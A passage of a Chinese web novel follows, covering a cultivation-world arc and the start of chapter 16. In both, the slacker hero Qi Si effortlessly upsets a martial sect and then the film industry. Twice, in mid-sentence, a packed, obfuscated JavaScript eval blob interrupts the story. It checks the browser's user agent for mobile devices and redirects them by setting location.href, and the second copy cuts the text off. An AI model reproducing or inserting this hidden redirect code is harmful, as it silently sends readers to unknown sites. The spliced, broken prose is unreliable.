太上长老听完禀报,只觉得太阳穴一跳。 “他只是……踢了块石头?”他确认道。 “是。”弟子额头冒汗,“就、就是那样随便一踢……” 太上长老闭了闭眼。 从护山大阵,到山门检测石,再到山道小阵。 所有建立在“境界”“气息”“压制”之上的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939316|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,在齐司出现后,要么失效,要么自毁。 “境界”这两个字,在他身上,彻底找不到落脚点。 “也许——”阵堂长老声音有些发干,“我们得重写‘境界’的定义。” “从什么时候起,我们默认‘境界’就是以气血、内力、神识的量与质来划分?”太上长老缓缓开口,“从什么时候起,我们默认所有力量都要纳入同一套评定?” 他看着远处齐司的背影,眼中第一次浮现出一种近乎陌生的神色。 “也许,从他出现开始,‘境界’不再是衡量一切的尺子。” “而是——被他打穿的壳。” …… 山脚下的小集市,烟火气浓郁。 摊贩的吆喝声、铁器碰撞声、油锅里炸物的“滋啦”声混在一起,驱散了山上的肃杀与压迫。 齐司站在一处卖肉饼的摊子前,眼神难得有点专注:“两个。” 摊主是个粗壮汉子,正熟练地翻着铁板上的肉饼,油花四溅,香气扑鼻。 他抬头打量了齐司一眼,笑道:“上山的?看你气息挺沉,哪家宗门的弟子?” 齐司懒得解释,只“嗯”了一声。 摊主也不在意,拿起铲子,手腕一翻,铁板上的肉饼被他甩起半尺高,在空中翻了个身,又稳稳落回铁板。 这一翻,动作干净利落,带着一股练家子的劲道。 不远处,跟着齐司下山的那名长老下意识眯了眯眼—— 摊主这手腕翻转的角度,竟隐隐与某门中阶刀法的“翻锋式”有几分相似,只是被用在了翻饼上。 齐司看着那翻饼的动作,忽然抬了抬手腕,像是被勾起了什么微不足道的兴趣。 他右手空着,随意一抖,模仿摊主刚才的翻腕轨迹,又懒懒地加了一点自己的“伸懒腰”式舒展。 这一抖。 他身侧的空气像是被人轻轻拨了一下。 一股极其细微的风,从他指尖滑出,沿着摊主翻饼时的那条轨迹,悄无声息地划过摊位前方。 摊主正要再翻一次饼,手腕一转,铲子刚刚带起肉饼,那股看不见的风恰好从铲子底部掠过。 “咔——” 铲子上的力道被那股风轻轻一“勾”,原本应该平稳翻起的肉饼,忽然被放大了力道,直直飞起三丈高。 “哎哟——”摊主一惊,下意识抬手去接。 他这一伸手,动作里带着多年劳作练出的本能劲道,指节微屈,像是抓刀柄。 那块肉饼在空中划出一道弧线,落向他指尖。 就在即将落手的一瞬间,那股被齐司随手抖出的风,再次轻轻一拨。 肉饼的下坠轨迹被硬生生拐了个弯,从摊主指尖擦过,直直拍在他自己额头上。 “啪!” 油花四溅。 摊主被烫得“嗷”一声,整个人往后一仰,后背撞上身后的木架,“哗啦”一声,一整排挂着的铁勺、铁铲、铁锅齐齐掉下。 那一瞬间,十几件铁器同时坠地,带着各自的重量与角度,形成一片乱流般的力道。 齐司眉头微皱——不是心疼人,而是嫌声音吵。 他抬起左手,像是想挡一下飞来的油星,手腕随意一抖。 “叮叮叮——” 所有飞溅的铁器在半空中轨迹一变,互相碰撞、弹开,最终像被一只无形的大手整理过,整整齐齐地插在摊位旁边的土里,柄朝外,刃朝下。 摊主愣愣地摸着自己被烫红的额头,回头一看那一排整齐插地的铁器,嘴巴张了张,半天没发出声音。 不远处的长老看得头皮发麻。 齐司刚才那两下抖手腕的动作,完全是随手而为,却硬生生把摊主所有乱七八糟的力道,全部“归拢”成了一个结果。 而且—— 那结果,对摊主来说,是最“吃亏”的。 “对手越是用力,越是认真,越容易被自己的力道反噬。”长老心中闪过这个念头,背脊微凉。 他忽然明白,为什么太上长老会叮嘱“不要在他身边运功”。 因为在这个人身边,任何被刻意调动的力量,都有可能被“借”走,再以某种完全出乎意料的方式,砸回自己身上。 …… 集市另一头,一队身着不同宗门服饰的武者缓缓走来。 为首之人身披青袍,腰悬玉牌,气息内敛如渊,正是附近一大宗的客座长老。 他远远看见齐司的背影,眼中精光一闪。 “就是他?”他低声问身旁的随从。 “回长老,正是。”随从压低声音,“镇岳宗今日山门大乱,皆因此人。” 青袍长老点了点头,脚步一转,径直朝齐司走去。 “这位小友。”他拱了拱手,声音温和,“在下青渊宗客座长老,闻得今日之事,特来相邀。” 齐司正咬着肉饼,懒得抬头:“不去。” 青袍长老一愣,随即笑了笑:“小友不必急着拒绝。我青渊宗底蕴深厚,若小友愿入本宗,我等必以最高礼遇相待,功法、资源、地位——” “我不修炼。”齐司打断他。 青袍长老笑容一滞:“不修炼?” “嗯。”齐司咬下一大口肉饼,含糊不清地道,“扫地、睡觉就行。” 青袍长老眼底闪过一丝不悦。 他压下情绪,继续道:“即便小友暂不修炼,入我宗门,总比在这小地方虚度好。何况,以小友之资质,若不加以引导,恐怕会被有心人利用——” “你们也是有心人。”齐司淡淡道。 青袍长老脸色一沉。 他盯着齐司那副懒洋洋、毫不在意的样子,胸口莫名升起一股被轻视的怒意。 “在下本不愿以势压人。”他缓缓开口,声音渐冷,“但小友此举,已牵动诸宗目光。若不入任何宗门庇护,只怕日后麻烦不断。” 齐司“哦”了一声:“那就不断吧。” 青袍长老指尖微微一紧。 他身为一宗客座长老,何曾被人这样三言两语打发? 胸中那股怒意被他强行压下,化作一股极其精细的内力,缓缓在体内运转,试图以最平和的状态,释放出一点“威压”,让眼前这少年明白差距。 他脚下轻轻一踏。 “嗡——” 一圈无形的气场从他脚下扩散开来,地面尘土被压得微微下陷,周围摊贩纷纷色变,感觉胸口一闷,呼吸一滞。 这是高阶武者特有的“势场”。 齐司皱了皱眉,抬手在面前随意一扇,像是在赶烟。 他这一扇,动作极慢,手腕松松垮垮,连风都没扇出来。 可青袍长老刚刚铺开的“势场”,在接触到他那一扇的轨迹时,像是被什么东西轻轻一拨。 原本向外扩散的威压,忽然掉头,向内收缩。 “咚——” 那股无形的压力,像一口倒扣的大钟,猛地罩在青袍长老自己身上。 他胸口一闷,心脏猛地重重一跳,耳边轰鸣,眼前一黑,差点跪在地上。 体内原本平稳运转的内力,在这一瞬间被自己的“势”压得一滞,随即开始无序翻涌。 “噗——” 一口血被他硬生生咽了回去,喉咙里发出一声低哑的闷哼。 更糟的是—— 那一瞬间,他的“心境”也被这突如其来的自压一记,像是平静湖面被砸进一块巨石,所有压在心底的执念、野心、恐惧,全都被翻了出来。 “若连一个不修炼的少年都招揽不动,你还算什么客座长老?” “你这些年所求的‘更高境界’,在他面前不过笑话。” “你所有以‘境界’为傲的东西,在他身上统统失效。” 无数杂乱的念头在他脑海里炸开,像是有一个冷静的旁观者,拿着一面镜子,逼他照见自己最不愿面对的一面。 青袍长老脸色瞬间煞白,额头冷汗直冒。 “长老?”身旁随从察觉不对,伸手扶住他。 “别——”青袍长老刚要说“别碰我”,话还没出口,随从的手已经搭在他手臂上。 那一瞬间,他体内紊乱的内力,顺着这接触点,猛地往外一窜。 随从脸色一变,只觉一股狂暴的力量顺着手臂灌入经脉,原本平稳的气息被硬生生搅乱,脑中一阵眩晕。 两人几乎同时踉跄后退,撞翻了身后两个摊位。 油锅倾倒,热油洒在地上,“滋啦”一声白烟四起。 齐司皱了皱眉,把剩下半个肉饼叼在嘴里,随手一抄,从旁边摊子上拿起一把扫帚,懒洋洋地往前一挥。 那动作像是随手把地上的油水往一边扫。 扫帚毛划过地面,带起一股极其平缓的风。 那股风沿着地面滑行,恰好在热油即将溅到围观人群脚边时,把油花轻轻一拨,全部引向一旁空地。 “啪——” 热油落地,冒出一片白烟,却连一片衣角都没沾上。 青袍长老与随从被那股风轻轻一推,退到一旁,背靠墙壁,气息紊乱,脸色苍白。 “心境……不稳。”青袍长老喃喃自语,眼中隐约浮现出一丝惊惧。 他刚才那短短一瞬的“威压试探”,竟差点让自己走火入魔。 而这一切的源头,只是齐司随手一扇,像是在赶烟。 “此人……”他艰难地抬眼,看向齐司的背影,“不在任何境界之内,却能……打穿所有境界。” 他这句话声音极轻,却还是被不远处跟着的那名长老听了个清楚。 长老心中一震。 这句话,几乎与太上长老先前的判断不谋而合。 不在境界之内。 却能打穿所有境界。 …… 集市上的骚动,很快被各宗门暗线捕捉。 不到半日,几封急报同时飞向各大宗门的议事大殿。 “目标:齐司。” “特征:一切检测失效,境界无法识别。” “现象:对手越强,反噬越重;高阶武者与其短暂接触后,出现气息紊乱、内力倒灌、心境震荡。” “推测:其存在本身,已对现有武道体系构成逻辑断层。” 各宗门长老看着这些字句,神色各异。 有人眼中闪烁着贪婪的光:“若能掌控此人,便等于掌控了打破境界桎梏的钥匙。” 也有人脸色阴沉:“此人若失控,整个武道秩序都将被颠覆。” 更多的人,则在心底默默盘算—— 如何在不与之正面冲突的前提下,把他纳入自己宗门的“监视”之中。 …… 而当所有人都在为他筹谋、争夺、布局时。 齐司已经拎着一袋吃的,慢悠悠地往山上走。 他一手拿着刚买的糖饼,一手拎着那把从摊主那儿顺来的旧扫帚,走到半山腰时,忽然停下。 山风从他身侧吹过,带起衣角微微翻动。 远处,镇岳宗的山门在夕阳下投下一大片阴影,护山大阵的光幕若有若无。 齐司咬了一口糖饼,眯了眯眼。 “藏书阁……”他低声嘀咕了一句,语气里难得带了点兴趣。 扫地、看书、睡觉。 只要不来烦他,至于这个世界的“境界”要怎么重写,武道体系要怎么改革,他一点都不在意。 16. 第 16 章 武道世界最后一缕灵气从指尖散开,系统机械的提示音在脑海里炸开:“任务完成。积分结算中——宿主即将被抽离当前世界。” 视线一黑,再睁眼,天地已经换了个画风。 刺眼的冷白色灯光从头顶砸下来,几十盏摇头灯和顶灯架在空中交错,金属支架反着冰冷的光。脚边是一条银灰色的轨道车道,滑轮压过铁轨发出“咔嗒咔嗒”的声响,一台装着电影机的轨道车被人推着从他面前掠过,摄影机侧面贴着“B机-03”的标签。 “收音杆小心点!别进主机位!”有人在前方吼。 一根长长的收音杆从灯光缝隙里探下来,毛茸茸的防风罩几乎要扫到齐司的头发。他下意识侧了一步,脚踩到地上的荧光贴——那是演员走位标记,红色写着“女一-情绪爆点”。 “喂,你谁啊?站这儿挡机位呢。”一个戴耳麦的小场务一边夹着对讲机,一边冲他招手,“新来的临时助理?去那边帮编务把剧本递一下,导演等着改词。” 齐司低头,看了眼自己身上——黑T恤、牛仔裤、不知什么时候多出来的工作证挂绳,上面印着某影视城LOGO,姓名一栏空白,只写着“编务/助理”。 系统的声音已经消失,取而代之的是裤兜里手机震动个不停。 他掏出来一看,屏幕上跳出一连串推送: 【震惊!某选秀出道新人拍戏耍大牌被雪藏?】 【独家:新人演员齐司违约在先,公司正式解约声明】 【#失格新人演员# 冲上热搜,业内人士:这种人不配进组】 下面是经纪公司的长文公告,措辞冷硬,配图还是他在某个发布会上微笑的照片,被P上了一个大大的“解约”红章。 齐司看了两秒,手指往下一滑,又看到几个营销号的跟风嘲讽,评论区里骂声一片。 他“哦”了一声,把手机锁屏,随手塞回兜里,表情平静得像在看天气预报。 雪藏、解约、全网嘲。 挺好。 正好不用再上镜了。 “喂喂喂,小兄弟,发什么呆呢?”刚才那个场务已经把他半推半拽往摄影棚里带,“这场情绪戏,编剧刚飞了新稿,编务那边人手不够,你先帮忙把女一、男二的本子按机位顺序摆好,别摆错了,导演最烦这个。” 摄影棚内,喷雾机正在打雾,白色水汽在灯光下形成一层薄薄的光晕,营造出所谓“电影感”。三台摄影机一字排开,机位编号用白胶带贴在三脚架腿上:A-主机,B-侧反,C-情绪特写。 监视器前,导演戴着棒球帽,盯着屏幕里跳帧的画面,画面右上角时间码在飞快跳动,偶尔有一两帧闪黑,他皱眉骂了句:“谁又动线了?!” 一旁的副导演拿着场记板,正对着镜头喊:“第十八场,第三十七条,A、B、C机同时——预备——” 后台走廊里,化妆师举着粉扑跟着演员小跑补妆,粉尘在空气里飘,女一边抿唇边对着助理伸手:“口红,刚才那个色号。”灯光师在一侧调色温,嘴里念叨:“这场要偏冷一点,给她脸上压点阴影。” 有人把一叠厚厚的剧本塞到齐司怀里:“新来的?先帮我把第十八场、第十九场拆出来,按角色分好,等会儿演员一喊就递,别递错。” 齐司低头,看着手里被翻得起毛边的剧本,纸张边缘被不同颜色的荧光笔划得乱七八糟,角色名旁边贴着便签,写着“情绪+3”“哭到哽咽”“眼神空掉”。 他轻轻呼出一口气。 行吧。 既然这具身体已经被娱乐圈判了死刑,那就顺势退圈,当个幕后小助理,递递剧本、打打杂,下班回家睡觉。 齐司把那一叠剧本抱在怀里,靠着墙,顺着便签找第十八、十九场。 纸张翻动的沙沙声被走廊尽头的“预备——开始!”盖过去,震得灯管微微嗡鸣。监视器那边传来导演压着嗓子的吼:“停停停——女三,你这句台词别背书啊,情绪呢?” 女三从机位前走回来,踩着高跟鞋,脸上的粉底在棚灯下有点浮,她一边扯开假哭的双眼皮胶,一边冲副导演抱怨:“这台词谁写的啊?‘我早就知道你不会回头’,谁现实里这么说话?我说不出口啊。” 副导演翻本子翻得急,指尖都带着汗:“就这一页,你们昨天不是对过吗?你跟编剧说去,我这也改不了。” 编剧正好从走廊那头匆匆赶来,耳机线拖在身后,手里还捏着没喝完的美式,眼下青黑:“又怎么了?” 女三把剧本翻到那一页,指节戳得纸都皱了:“就这段,太假了,我演不出来。” 编剧皱眉接过,盯着那一段标了红线的台词,嘴里小声念:“‘我早就知道你不会回头’……‘你从来都只看得见你自己’……这挺正常的啊。” “正常个鬼。”女三翻白眼,“我现实里吵架才不会这么说,我肯定是直接骂他渣男,或者干脆不说话,冷着脸走人。” 编剧抬头:“那你说你会怎么说?” 女三张了张嘴,愣住:“我也不知道,反正不是这样。” 走廊里一时间有点僵。 副导演看着监视器那边等着的导演,压力山大:“要不你们先拍别的?” 导演的声音从对讲机里炸出来:“别的也卡,男二那场也说台词别扭。你们编剧组赶紧给我想办法,今天这两场不过,我就不上机位了。” 编剧揉了揉太阳穴,视线下意识扫了一圈,落在一旁抱着剧本的齐司身上。 “你是新来的?”他盯着齐司怀里的本子,“你手里那本是最新改好的?” 齐司被点名,抬眼:“嗯。” 编剧伸手:“借我看一下第十八场。” 齐司把那一叠抽出一页递过去,动作很顺,手指在纸边停了一下,视线扫过那段被红笔圈得乱七八糟的台词。 “我早就知道你不会回头。” “你从来都只看得见你自己。” “你以为你是英雄,其实你就是个懦夫。” 标注:情绪+3,哭到哽咽。 他看了两秒,随口说:“你这句太直给了,像在念总结陈词。” 编剧愣了一下:“啊?” 齐司把本子往上一托,指尖点在那行字上,语气很平:“她要的是体面,不是控诉。你让她别说‘我早就知道你不会回头’,改成——” 他想了想,眼神有点发散,明显是在想着怎么快点解决好回去睡觉:“改成‘你就当今天没来过吧’,后面那句‘你从来都只看得见你自己’太重了,容易演成吵架。换成‘你别再联系我了,我会当你已经死了’,别写‘懦夫’,太戏剧化。” 编剧下意识把他的话记在手机备忘录里,指尖飞快:“‘你就当今天没来过吧’……‘你别再联系我了,我会当你已经死了’……行吗?这不更狠?” “狠就对了。”齐司把那页又塞回自己那叠,准备继续拆本,“她嘴上要体面,心里要报复,这样演员好演。” 女三在旁边听得眼睛一亮:“哎,这个我会说,这个我会说!” 编剧回过神来,抓起对讲机:“导演,我这边改了一版台词,你听一下——” 他对着话筒念了一遍。 监视器那边沉默了两秒,导演的声音带着点兴奋:“可以,这个有劲儿。女三,你按这个来一条,情绪别太满,前半段冷一点,后面那句‘我会当你已经死了’的时候给我一个眼神爆点。” 女三立刻把刚才那页台词用笔划掉,旁边写上新台词,嘴里小声试:“你就当今天没来过吧……你别再联系我了,我会当你已经死了……” 她对着空气演了一遍,眼神从克制到崩塌,连自己都起了一身鸡皮疙瘩:“哎,这个真顺。” 副导演冲齐司竖了个大拇指:“新来的挺有感觉啊。” 齐司:“……” 他只是想快点让他们别堵在走廊。 场内重新打板。 棚里灯光一瞬间压暗,顶灯降到四千五百色温,偏冷,女三脸上的阴影被灯光师刻意拉重,眼下那一点暗青在镜头里变成疲惫。 摄影机推轨,轨道车轻轻滑动,镜头从男主背影绕到女三侧脸,收音师举着杆麦,麦头离她嘴巴二十公分,刚好卡在镜头外。 “Action——” 女三站在门口,手指捏着包带,指节泛白,眼睛却很平静。 “你就当今天没来过吧。” 她的声音很轻,尾音有一点抖,像是压着气。 男主愣了一下:“你什么意思?” 女三抬眼看他,眼眶一点点红起来:“你别再联系我了,我会当你已经死了。” 最后那个“死”字落下去的时候,她眼神突然空了一瞬,像是把什么东西从心里掐断。 监视器前,导演猛地坐直,手里的保温杯差点掉地上:“靠,这个可以!收!” “咔——” 棚里灯光一亮,现场一片安静,紧接着,副导演第一个拍手:“好!” 女三喘了口气,眼角的泪还挂着,转头看向走廊那边的齐司,眼神里带着点惊讶:“刚才那句是谁改的?” 编剧顺着她的视线看过去,也愣了一下:“就是他,新来的。” 女三直接踩着高跟鞋走到齐司面前,粉扑还没来得及补,脸上带着刚才的情绪:“你以前是演员吗?你太懂了。” 齐司抱着剧本,往后靠了靠:“不是,我就是递本的。” “递本的能改出这种台词?”编剧嘴角抽了一下,眼里却亮了,“你刚才那逻辑——嘴上体面,心里报复——这就是人物的底层动机啊,你学过戏剧结构?” “没学。”齐司说,“随便说的。” 编剧盯着他两秒,像是看到了什么珍稀物种:“你叫什么?” “齐司。” “行,齐司,你以后在组里就跟着我混。”编剧当场拍板,“有台词不顺的,你先看一眼。” 齐司:“我只是临时来打工的——” 话没说完,对讲机又响了:“编剧,男二那场也改一下,刚才你说的那新台词感觉对,顺便帮男二那句‘我对你没有爱了’也调调,太土了。” 编剧立刻回头:“等一下,我带人过去。” 他一把抓住齐司手里的本子:“走,齐司,一起。” 齐司被拽着往棚里走,脚下的地胶被灯光烤得有点发黏,空气里是热机位散出来的金属味和粉底的香味。 他心里默默叹气。 下班时间,又往后推了。 …… 下午三点,摄影棚另一侧。 机位突然黑屏。 “卡机了卡机了!”摄影助理一边拍机身一边喊,“刚才那条没录进去!” 导演整个人从监视器前弹起来:“你跟我说没录进去?那是刚才最顺的一条!” 摄影师脸色发白,低头看机背屏幕,回放界面一片雪花,时间码跳得乱七八糟:“刚才中间跳帧了,可能是卡的问题。” 制片人从一堆监视器后面探出头,脸色比他们还难看:“这场戏搭景搭了一天,你跟我说没了?” 灯光师在一旁关灯,棚里一下暗下来,只剩下机位上的小红灯在闪,像是在嘲笑。 “先别慌。”摄影师把存储卡拔出来,插到旁边的笔记本电脑上,屏幕上跳出一串文件名,刚才那一条的缩略图灰着,点进去,画面一顿一顿的,人物动作像鬼畜,曝光还在乱跳。 “完了。”摄影助理声音发干,“这条废了。” 导演捂着额头:“重拍。” “重拍也行。”制片人咬牙,“灯光再调一次。” 灯光师刚要去拉灯,制片人手机突然震了一下,他低头一看,脸色更难看了:“平台那边催素材了,说今晚要看粗剪。” 导演:“……” 一片沉默里,齐司抱着剧本,从另一侧走过来,准备去拿水。 摄影助理一抬头,正好看见他:“哎,新来的,你会不会用这个?”他指着电脑旁边那台灰尘不多的备份工作站,“这玩意儿老是死机,我不敢乱动。” 齐司停下脚步,看了一眼那台工作站,机箱上贴着“D-IT”标签,旁边连着读卡器和一块监视器,屏幕上是一个简单的素材管理软件界面,右下角红色的“错误”提示在闪。 “你就帮我点一下恢复看看。”摄影助理有点慌,“万一能救回来呢。” 齐司不太想掺和,但对方眼神实在太绝望,他只好走过去,蹲下身,看了一眼界面。 错误提示:帧率异常,曝光数据丢失。 他随手点了两下设置,把“自动修复曝光曲线”和“补帧”两个选项勾上,又点了“重新生成代理文件”。 进度条开始走,蓝色的条一点点往前,CPU风扇呼呼转。 “这能行吗?”摄影助理紧张得手心都是汗。 “试试吧。”齐司站起身,“不行就重拍。” 话音刚落,进度条跳到百分之百,软件自动弹出一个新窗口,预览画面开始播放。 原本跳帧的镜头被自动补齐,人物动作流畅,曝光从一开始的有点过曝被算法压了下来,背景灯箱的高光被拉回,人物脸上的层次清晰,眼睛里那一点反光像是多了一层情绪。 导演被那一声“叮”吸引过来,探头看了一眼,整个人愣住:“这是刚才那条?” 摄影师也凑过来,盯着屏幕:“不对啊,我们刚才拍的时候没这么好看。” 镜头里,男主从光里走出来,背后是被打散的顶灯光斑,镜头轻轻跟着他移动,原本因为曝光不稳而忽明忽暗的背景,现在被自动修成了一个缓慢的亮度过渡,像是有人专门做了灯光设计。 他停在女主面前,眼神从迷茫到坚定,整个过程被补帧算法拉得顺滑,连呼吸都像是被剪辑过的节奏。 “这光感……”灯光师盯着屏幕,嘴里嘟囔,“我刚才没打这么细啊。” 摄影师把画面拉到百分之二百,看细节,男主眼角那一小块阴影刚好勾出轮廓,鼻梁上的高光不抢戏,女主侧脸被一圈柔光包着,像是高级香水广告。 “这已经是成片质感了。”导演喃喃,“谁动的?” 摄影助理立刻指向齐司:“他,他刚才点了两下。” 所有视线齐刷刷落在齐司身上。 齐司被看得有点莫名:“我就勾了两个选项。” “你知道这两个选项平时没人敢乱勾吗?”摄影师声音都有点抖,“自动修曝光会把我们灯光师的设计全毁了,补帧容易出鬼影,你这两个一起开,正常是灾难。” 灯光师却盯着屏幕,眼睛发亮:“但现在是神。” 导演当场拍板:“这条就用这个版本,今晚粗剪直接按这个来。” 制片人松了口气,转头对齐司:“你以后别递本了,跟着D-IT那边坐。” 齐司:“我不太会——” “你刚才那两下就值一个技术总监。”制片人打断他,“工资翻三倍。” 齐司张了张嘴,想到还没到手的房租,沉默了两秒:“那能早点下班吗?” 制片人一愣,随即笑出声:“你要是每次都能把这种废素材救成这样,你想几点走几点走。” …… 晚上十点,平台内容部会议室。 投影幕布上,刚才那场戏的粗剪在循环播放,画面上方的时间码在跳,右下角是平台内部审片系统的LOGO。 内容总监靠在椅背上,手指敲着桌面,眼睛却没离开画面:“这是谁剪的?节奏这么准?” 运营总监在旁边翻资料:“不是成片剪辑,是现场D-IT那边自动生成的代理。” “自动?”内容总监挑眉,“现在自动都这么懂情绪了吗?” 画面里,女三那句“你就当今天没来过吧”被剪在一个干净的反打镜头上,前面是男主的背影,后面是她的正脸,剪辑点刚好卡在她抬眼的那一刻,观众的视线被带着一起抬起来。 紧接着那句“你别再联系我了,我会当你已经死了”,剪辑师没有切近景,而是留在中景,让她的身体微微晃了一下,显得更真实。 “这台词谁改的?”内容总监问。 运营总监翻到一页备注:“现场临时改的,好像是一个新来的场务,叫……齐司。” 内容总监停了一下,嘴角勾起来:“又是他?” 运营总监愣住:“你认识?” “上个月那个快要黄掉的综艺,不是因为一个素人嘉宾临时说了几句,就把话题拉回来了?”内容总监把资料往前推,“那个素人,后来查了,是个临时编务,名字也叫齐司。” 运营总监翻了翻手机,调出内部舆情监控系统,屏幕上是一串热搜关键词曲线。 “你看。”内容总监指着那条突然拔高的红线,“那期播出后,‘齐司’这个名字在弹幕和评论区的出现频率,从零直接冲到百分之二十。观众在剪辑里根本没看到他的人,但都在问‘那个说话的编务是谁’。” 运营总监皱眉:“这不就是个幕后?” “幕后能连续踩中风口?”内容总监笑了一声,点开另一个文件夹,“还有,上周那个被我们内部判死刑的网剧项目,《夜行者》。” 投影切换,变成一份项目报表,原本一片红色的“预警”标签,在最新一列变成了绿色的“爆款潜力”。 “不是说要砍掉了吗?”运营总监惊讶,“怎么又起死回生了?” “因为他们组突然换了一个临时编务。”内容总监指着备注,“名字,还是齐司。” 运营总监沉默了两秒:“你是说,他是风口?” “我不信玄学。”内容总监合上文件,“但数据不会骗人。只要他出现,项目的完播率、讨论度、转化率,全部抬头。” 他站起身,走到窗边,看着外面楼宇上的LED广告屏,一条条预告片在轮播,色彩在夜里炸开。 “给投资部发个邮件。”内容总监说,“以后凡是带‘齐司’这个名字的项目,优先排期,优先资源。” 运营总监吸了口气:“这也太——” “这是风控。”内容总监打断他,“我们不需要他红,我们只需要他在。” …… 与此同时,城西一栋老小区里。 齐司拎着便利店的塑料袋,上楼,楼道里昏黄的感应灯一闪一闪,墙皮掉了一块,露出里面的水泥。 他把钥匙插进锁孔,门一开,屋里一片黑。 手机屏幕亮着,系统的界面在上面跳出一行字: 【支线任务完成:临时救场·剧本调整】 【隐藏成就解锁:镜头成神·技术救援】 【当前世界影响力指数:27%】 齐司用肩膀夹着手机,一边换鞋一边看:“影响力指数是什么鬼?” 系统的声音淡淡的:【与本世界娱乐工业的结构绑定程度。】 “我不想绑定。”齐司把塑料袋放进冰箱,里面是两罐啤酒和一盒打折寿司,“我只想下班。” 【你已经下班。】系统很诚恳,【但他们没有。】 齐司关上冰箱门,屋里只剩下冰箱压缩机低低的嗡鸣。 他没再理系统,打开电视,随手切到一个娱乐新闻频道。 屏幕上,正在播今天那部剧的路透,女三那场戏的片段被剪成了预告,字幕条上打着:“一句台词,刺痛所有人的分手回忆。” 弹幕飞过:“这台词谁写的?”“好真实”“我前任就这么跟我说的。” 右下角的微博热搜小窗口里,“你就当今天没来过吧”已经挂在第七位,后面跟着一个小火苗。 齐司看了两秒,拿起遥控器,换台。 …… 第二天一早。 《夜行者》项目组会议室。 长桌上摊着一堆预算表和进度表,墙上的白板写满了“资金断档”“演员档期冲突”“平台降级排期”等一串让人头大的词。 制片人揉着眉心:“说实话,这项目就差一口气了。平台那边已经把我们从S级降到B级,宣传预算砍了一半,投资方也在犹豫要不要撤。” 导演抽着烟,烟雾在会议室的冷光灯下散开:“我不想烂尾,哪怕赔钱,我也想把故事讲完。” “讲完谁看?”投资代表翻着手机,“现在同档期有三个大IP,你们这个原创刑侦,题材又冷,演员也不算顶流,数据预估太难看了。” 门被推开,执行制片探头进来:“那个……你们要的临时编务到了。” 一个人影被他让进来,怀里抱着笔记本和一叠空白分场纸。 齐司站在门口,看着会议室里一圈人的目光刷地落在自己身上。 导演愣了一下:“你怎么是你?” 齐司也愣:“你怎么也在这?” 这是昨天那部剧的导演。 执行制片赶紧介绍:“齐司,昨天救场那个。我们这边缺人,就把他借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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运营部的人在旁边冷笑一声:“你以为观众傻?他们一集集看下来,能感觉到哪几场戏突然变得好看,哪几集节奏突然顺了。有人扒制作名单,发现从第七集开始,编务多了一个名字——齐司。” 数据部主管看着那条一路往上的红线,眼神复杂:“以后项目名单里有他,预估模型要重算。” …… 社交平台上,《夜行者》相关话题下,网友们在疯狂刷屏。 “第九集那场审讯戏谁写的?太牛了吧。” “从女配说‘你就当今天没来过吧’那部剧开始,我就注意到这个名字了。” “求出道!求采访!求幕后特辑!” 有人扒出一张模糊的片场路透,画面里,一个穿着普通T恤的男人抱着一叠剧本,从机位后面走过,脸被灯光打得有点过曝,看不清,只能看到侧脸线条。 【这就是齐司?】 评论区里,一片“求更多”。 …… 行业内部的风向,比外界更快。 某个制片人群里,消息刷得飞快。 【听说了吗?《夜行者》起飞了。】 【不是说要烂尾的吗?】 【后来加了个临时编务,叫齐司。】 【又是他?我前两天开会,平台内容总监专门提了这个名字。】 【投资部那边现在有个不成文规定:项目名单里有齐司,优先排队送钱。】 【真的假的?】 【你去问问上周那个被砍预算的古偶,他们临时把他挖过去做剧本统筹,结果预算又给加回来了。】 有人发了一张内部流传的PPT截图,上面写着: 【行业共识(非正式):齐司 = 风口捕捉体质】 【参与项目 = 成功概率显著提升】 【建议:尽可能争取其参与,哪怕挂名。】 …… 某顶流工作室。 化妆间里,顶流男星坐在镜前,妆发师在他头上喷定型喷雾,镜子两侧的灯泡一排排亮着,把他脸上的每一处轮廓都照得清清楚楚。 经纪人拿着平板,翻着新剧本:“这个刑侦剧,平台S+,导演是老戏骨,女主是一线,你要不要接?” 男星懒洋洋地靠在椅背上:“编剧谁?” “编剧是——”经纪人翻到后面,“总编剧A,联合编剧B、C、D……” “有齐司吗?”男星打断。 经纪人愣了一下:“没有。” 男星立刻摇头:“那先放着。” 经纪人哭笑不得:“你现在挑本子挑到看编务名字了?” 男星看着镜子里的自己,嘴角勾了一下:“你不懂。只要他在,台词就不会太烂,人物就不会太蠢,我就不用在镜头前自己救场。” 经纪人翻出另一份项目资料:“那这个?平台B级,但投资方是新起的资本,给得多。编务名单里有一个齐司。” 男星眼睛一亮:“这个接。” 经纪人:“……” “你疯了?你放着S+不接,接一个B级?” “B级可以拍着玩。”男星笑得很轻松,“反正有他在,最后不一定是B级。” …… 几乎在同一时间,几个大导演的私人微信里,弹出同一个名字。 【听说你最近组里有个叫齐司的?借我用用。】 【我新片还差一个剧本统筹,给他挂个联合编剧。】 【我综艺要改赛制,让他来做顾问。】 他们互相抢人,语气看似客气,实则暗暗较劲。 而资本那边,更干脆。 某基金的投资会议室里,投影上是一张张项目表,每个项目后面都有一串参数:题材、主演、导演、平台、制作公司、风险等级。 新来的分析师举手:“我有个问题。为什么这个项目所有参数都一般,主演也不算头部,却被标成了‘重点关注’?” 投资总监把笔在桌上敲了敲:“因为名单里有齐司。” 分析师愣住:“就因为一个编务?” “不是编务。”投资总监纠正,“是风向标。” 他指着屏幕下方一行小字:“内部评估:齐司参与 = 项目成功概率+30%。这比我们任何一个流量主演的加成都高。” …… 而这一切的中心人物,此刻正坐在某个综艺棚的角落里,戴着耳机,对着一台剪辑机,帮后期挑笑点。 